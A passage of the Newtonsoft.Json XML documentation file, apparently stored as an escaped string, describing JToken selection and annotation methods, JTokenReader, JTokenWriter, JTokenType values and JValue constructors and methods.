read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,System.Boolean)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,System.Boolean)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepClone\">\n            <summary>\n            Creates a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>. All child tokens are recursively cloned.\n            </summary>\n            <returns>A new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAnnotation(System.Object)\">\n            <summary>\n            Adds an object to the annotation list of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"annotation\">The annotation to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation``1\">\n            <summary>\n            Get the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotation to retrieve.</typeparam>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation(System.Type)\">\n            <summary>\n            Gets the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotation to retrieve.</param>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations``1\">\n            <summary>\n            Gets a collection of annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotations to retrieve.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the annotations for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations(System.Type)\">\n            <summary>\n            Gets a collection of annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotations to retrieve.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:System.Object\"/> that contains the annotations that match the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations``1\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of annotations to remove.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations(System.Type)\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of annotations to remove.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\">\n            <summary>\n            Compares tokens to determine whether they are equal.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.Equals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the specified objects are equal.\n            </summary>\n            <param name=\"x\">The first object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"y\">The second object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns>\n            <c>true</c> if the specified objects are equal; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.GetHashCode(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Returns a hash code for the specified object.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> for which a hash code is to be returned.</param>\n            <returns>A hash code for the specified object.</returns>\n            <exception cref=\"T:System.ArgumentNullException\">The type of <paramref name=\"obj\"/> is a reference type and <paramref name=\"obj\"/> is <c>null</c>.</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the reader's current position.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken,System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n            <param name=\"initialPath\">The initial path of the token. It is prepended to the returned <see cref=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenType\">\n            <summary>\n            Specifies the type of token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.None\">\n            <summary>\n            No token type has been set.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Object\">\n            <summary>\n            A JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Array\">\n            <summary>\n            A JSON array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Constructor\">\n            <summary>\n            A JSON constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Property\">\n            <summary>\n            A JSON object property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Integer\">\n            <summary>\n            An integer value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Float\">\n            <summary>\n            A float value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.String\">\n            <summary>\n            A string value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Boolean\">\n            <summary>\n            A boolean value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Null\">\n            <summary>\n            A null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Undefined\">\n            <summary>\n            An undefined value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Date\">\n            <summary>\n            A date value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Raw\">\n            <summary>\n            A raw JSON value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Bytes\">\n            <summary>\n            A collection of bytes value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Guid\">\n            <summary>\n            A Guid value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Uri\">\n            <summary>\n            A Uri value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.TimeSpan\">\n            <summary>\n            A TimeSpan value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the writer's current position.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.Token\">\n            <summary>\n            Gets the token being written.\n            </summary>\n            <value>The token being written.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor(Newtonsoft.Json.Linq.JContainer)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class writing to the given <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n            <param name=\"container\">The container being written to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n            <remarks>\n            Setting <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> to <c>true</c> has no additional effect, since the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/> is a type that cannot be closed.\n            </remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will be raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JValue\">\n            <summary>\n            Represents a value in JSON (string, integer, date, etc).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Int64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Decimal)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Char)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.UInt64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Double)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Single)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.DateTime)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Guid)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Uri)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.TimeSpan)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateComment(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateString(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateNull\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateUndefined\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Value\">\n            <summary>\n            Gets or sets the underlying token value.\n            </summary>\n            <value>The underlying token value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Indicates whether the current object is equal to another object of the same type.\n            </summary>\n            <returns>\n            <c>true</c> if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"other\">An object to compare with this object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with the current <see cref=\"T:System.Object\"/>.</param>\n            <returns>\n            <c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to the current <see cref=\"T:System.Object\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.GetHashCode\">\n            <summary>\n            Serves as a hash function for a particular type.\n            </summary>\n            <returns>\n            A hash code for the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String,System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        